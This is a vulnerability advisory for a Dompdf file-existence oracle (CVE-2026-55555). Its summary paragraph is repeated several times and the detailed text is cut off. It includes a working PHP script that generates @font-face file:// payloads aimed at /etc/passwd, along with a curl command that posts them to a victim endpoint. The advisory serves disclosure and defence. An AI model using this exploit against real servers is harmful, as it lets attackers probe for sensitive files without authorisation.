CVE-2026-55555

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an "Allowed memory size exhausted" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf's memory limit is low enough to be exhausted (with  $_dompdf_show_warnings=true  making the overflow easier to reach). This issue has been fixed in version 3.16.

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an "Allowed memory size exhausted" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf's memory limit is low enough to be exhausted (with  $_dompdf_show_warnings=true  making the overflow easier to reach). This issue has been fixed in version 3.16.

Description

Dompdf is vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion.

The critical point of this flaw is the discrepancy in system behavior:

1. If the file exists: Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation.
2. If the file does NOT exist: The rendering engine fails quickly or ignores the import, and the memory limit is not reached.

This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of CHROOT restrictions.

Some factors impact the ability of attackers to exploit the vulnerability:

• The attacker must be allowed to provide unrestricted and/or unsanitized HTML content.
• System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error.
  • HTTP GET querystring or POST body must allow large data
  • Memory limits must be low enough that Dompdf can trigger an overflow
  • $_dompdf_show_warnings when set to true can bump memory usage

Example Scenario

1. Vulnerable System

A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.

• Vulnerable Endpoint: http://example.com/index.php
• Vulnerable Parameter: html_input (POST)

index.php simplified:

$dompdf = new Dompdf(new Options());
$dompdf->loadHtml($_POST['html_input']);
$dompdf->render();
$dompdf->stream("document.pdf");

<img width="2530" height="1320" alt="image" src="https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4" />

2. Attack Generation

The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.

• Attacker's Local Script (payload_gen.php):

<?php

/**
 * Usage: php exploit.php <file_path> <iterations>
 * Example: php exploit.php /etc/passwd 5000
 */

// Check if the file argument was provided
if ($argc < 2) {
    echo "[-] Usage: php exploit.php <file_to_read> [iterations]\n";
    exit(1);
}

$file = $argv[1];
$iterations = isset($argv[2]) ? (int)$argv[2] : 5000;

function generate_payload($file, $iterations) {
    $css = "";
    $body = "";
    
    // We use @font-face to trick the engine into attempting a local file read
    for ($i = 0; $i < $iterations; $i++) {
        $css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
        $body .= "<span style=\"font-family:f{$i}\">.</span>";
    }
    
    return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}

// Output the payload to stdout for piping
echo generate_payload($file, $iterations);

?>

3. Exploitation

The attacker pipes the malicious HTML into a curl request targeting the remote server:

php payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \

    --data-urlencode "html_input@-" \

    --output response.pdf

By analyzing the response.pdf file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.

Existent file:

<img width="2544" height="702" alt="image" src="https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536" />

Non-existent file:

<img width="1872" height="706" alt="image" src="https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2" />

Note that the specific iteration count that will trigger the…

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an "Allowed memory size exhausted" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf's memory limit is low enough to be exhausted (with  $_dompdf_show_warnings=true  making the overflow easier to reach). This issue has been fixed in version 3.16.

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an "Allowed memory size exhausted" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf's memory limit is low enough to be exhausted (with  $_dompdf_show_warnings=true  making the overflow easier to reach). This issue has been fixed in version 3.16.

Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an "Allowed memory size exhausted" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf's memory limit is low enough to be exhausted (with  $_dompdf_show_warnings=true  making the overflow easier to reach). This issue has been fixed in version 3.16.